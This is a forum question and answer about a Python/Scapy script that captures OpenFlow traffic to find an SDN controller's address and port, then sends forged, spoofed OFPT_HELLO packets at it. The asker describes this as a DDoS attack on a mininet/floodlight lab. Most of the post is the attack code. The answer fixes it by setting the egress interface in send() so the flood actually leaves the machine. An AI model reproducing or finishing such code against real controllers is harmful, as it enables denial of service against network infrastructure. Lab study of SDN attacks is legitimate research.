Unable to create OpenFlow13 message with Scapy - python-3.x

Question

I am writing a code where I am capturing openflow13 packets using tcpdump and wireshark. I am running mininet topo and floodlight SDN controller. Once I get my SDN controller IP and port details from the capture, I intent to create multiple OFPTHello messages and send it to the SDN Controller [sort of DDoS attack]. Although I am able to extract the controller's details, I am unable to create Scapy OFPTHello message packets.
Request to please help me identify and resolve the issue
Mininet Topo I am running-
sudo mn --topo=linear,4 --mac --controller=remote,ip=192.168.56.102 --switch=ovsk,protocols=OpenFlow13
My Code-
#!/usr/bin/env python3
try:
import time
import subprocess
import json
import sys
from scapy.all import *
from scapy.contrib.openflow import _ofp_header
from scapy.fields import ByteEnumField, IntEnumField, IntField, LongField, PacketField, ShortField, XShortField
from scapy.layers.l2 import Ether
ofp_table = {0xfe: "MAX",
0xff: "ALL"}
ofp_buffer = {0xffffffff: "NO_BUFFER"}
ofp_version = {0x04: "OpenFlow 1.3"}
ofp_type = {0: "OFPT_HELLO"}
class OFPHET(_ofp_header):
#classmethod
def dispatch_hook(cls, _pkt=None, *args, **kargs):
if _pkt and len(_pkt) >= 2:
t = struct.unpack("!H", _pkt[:2])[0]
return ofp_hello_elem_cls.get(t, Raw)
return Raw
def extract_padding(self, s):
return b"", s
class OFPTHello(_ofp_header):
name = "OFPT_HELLO"
fields_desc = [ByteEnumField("version", 0x04, ofp_version),
ByteEnumField("type", 0, ofp_type),
ShortField("len", None),
IntField("xid", 0),
PacketListField("elements", [], OFPHET, length_from=lambda pkt: pkt.len - 8)]
# Capture controller's IP address and Port
Hello_Msg = []
Switch_TCP_Port = []
p = subprocess.Popen(['sudo', 'tcpdump', '-i', 'eth1', 'port', '6653', '-w', 'capture.pcap'], stdin=subprocess.PIPE, stdout=subprocess.DEVNULL, stderr=subprocess.STDOUT)
time.sleep(45)
p.terminate()
captures = rdpcap('capture.pcap')
for capture in captures:
msg = (capture.summary()).split(" ")
i = len(msg)
if (msg[i-1] == "OFPTFeaturesRequest"):
Features_Request = capture.summary()
break;
elif (msg[i-1] == "OFPTHello"):
Hello_Msg.append(capture.summary())
for Hello in Hello_Msg:
frame = Hello.split("/")[2]
port = ((frame.split(" ")[2]).split(":"))[1]
Switch_TCP_Port.append(port)
Features_Request = Features_Request.split("/")[2]
Source_Frame = (Features_Request.split(" ")[2]).split(":")
Controller_IP = Source_Frame[0]
Controller_Port = int(Source_Frame[1])
print("\nController's IP Address: %s"%Controller_IP)
print("Controller's Port: %s"%Controller_Port)
# Generating Openfow PAcket_In using Scapy
for p in Switch_TCP_Port:
p = int(p)
packet = Ether(src='08:00:27:fa:75:e9',dst='08:00:27:f1:24:22')/IP(src='192.168.56.101',dst=Controller_IP)/TCP(sport=p,dport=Controller_Port)/OFPTHello()
send(packet)
except ImportError as e:
print ("\n!!! ImportError !!!")
print ("{0}. Install it.\n".format(e))
Wireshark Capture- [Only has 4 hello packets, no Scapy packets are captured]
Question/Issue- I am able to receive the ideal number of 4 hello packets from the mininet topology. However, the new hello packets I am trying to create using scapy are not being sent/ captured by wireshark. I have attached my scapy code for reference.

Answer 1

In your code do this
modify the line:
send(packet)
To
send(packet,iface='eth1') where eth1 is the egress interface of the attacking VM
The reason is that even if a malformed Openflow packet is put on the wire, Wireshark will still be able to capture it, assuming your attack VM has a route to the controller VM. This means that your code is not putting the Packet on the right wire, send(packet,iface='eth1') will put it on the right wire.